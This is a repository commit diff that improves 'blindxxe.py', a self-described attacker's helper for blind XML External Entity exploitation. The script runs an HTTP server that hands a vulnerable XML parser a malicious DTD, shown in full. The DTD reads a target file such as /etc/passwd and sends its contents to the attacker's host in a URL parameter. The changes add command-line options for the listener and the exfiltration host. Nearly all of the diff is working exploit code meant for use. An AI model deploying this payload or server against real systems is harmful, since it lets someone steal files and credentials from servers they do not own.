Improved blindxxe.py script

This commit is contained in:
Mariusz B 2018-10-23 22:36:47 +02:00
parent 45a1188f76
commit d54e9442b9

View File

@ -11,7 +11,7 @@
# 0. Configure global variables: SERVER_SOCKET and RHOST # 0. Configure global variables: SERVER_SOCKET and RHOST
# #
# 1. Run the below script, using: # 1. Run the below script, using:
# $ python blindxxe.py <filepath> # $ python blindxxe.py [options] <filepath>
# #
# where <filepath> can be for instance: "file:///etc/passwd" # where <filepath> can be for instance: "file:///etc/passwd"
# #
@ -40,19 +40,21 @@ import urllib
import re import re
import sys import sys
import time import time
import threading
import socket import socket
import argparse
import threading
# #
# CONFIGURE THE BELOW VARIABLES # CONFIGURE THE BELOW VARIABLES
# #
SERVER_SOCKET = ('0.0.0.0', 8000) config = {
EXFIL_FILE = 'file:///etc/passwd' 'debug' : '',
'listen' : '0.0.0.0',
# The host on which you will run this server 'port' : 8080,
RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1]) 'rhost' : '',
'exfil-file' : '',
}
EXFILTRATED_EVENT = threading.Event() EXFILTRATED_EVENT = threading.Event()
@ -97,7 +99,7 @@ class BlindXXEServer(BaseHTTPRequestHandler):
#print '[DEBUG] Sending malicious DTD file.' #print '[DEBUG] Sending malicious DTD file.'
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s"> dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>"> <!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST} %%param_request;''' % {'exfil_file' : config['exfil-file'], 'exfil_host' : config['rhost']}
self.response(content_type='text/xml', body=dtd) self.response(content_type='text/xml', body=dtd)
@ -105,8 +107,59 @@ class BlindXXEServer(BaseHTTPRequestHandler):
#print '[INFO] %s %s' % (request.command, request.path) #print '[INFO] %s %s' % (request.command, request.path)
self.response(body='false') self.response(body='false')
def main():
server = HTTPServer(SERVER_SOCKET, BlindXXEServer) def parseOptions(argv):
global config
print('''
:: Blind-XXE attacker's helper backend component
Helps exfiltrate files by abusing out-of-bands XML External Entity vulnerabilities.
Mariusz B. / mgeeky '16-18, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
parser.add_argument('file', type=str, metavar='FILE', default='file:///etc/passwd', help = 'Specifies file to exfiltrate using Blind XXE technique.')
parser.add_argument('-l', '--listen', default='0.0.0.0', help = 'Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces)')
parser.add_argument('-p', '--port', metavar='PORT', default='8080', type=int, help='Specifies the port to listen on. Default: 8080')
parser.add_argument('-r', '--rhost', metavar='HOST', default=config['rhost'], help='Specifies attackers host address where the victim\'s XML parser should refer while fetching external entities')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['debug'] = args.debug
config['listen'] = args.listen
config['port'] = int(args.port)
config['rhost'] = args.rhost
config['exfil-file'] = args.file
port = int(args.port)
if port < 1 or port > 65535:
Logger.err("Invalid port number. Must be in <1, 65535>")
sys.exit(-1)
return args
def fetchRhost():
global config
config['rhost'] = socket.gethostbyname(socket.gethostname())
def main(argv):
global config
fetchRhost()
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
print('[+] Serving HTTP server on: ("{}", {})'.format(
config['listen'], config['port']
))
server = HTTPServer((config['listen'], config['port']), BlindXXEServer)
thread = threading.Thread(target=server.serve_forever) thread = threading.Thread(target=server.serve_forever)
thread.daemon = True thread.daemon = True
thread.start() thread.start()
@ -114,7 +167,7 @@ def main():
while not EXFILTRATED_EVENT.is_set(): while not EXFILTRATED_EVENT.is_set():
pass pass
print('[+] File has been exfiltrated. Quitting.')
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) > 1: main(sys.argv)
EXFIL_FILE = sys.argv[1]
main()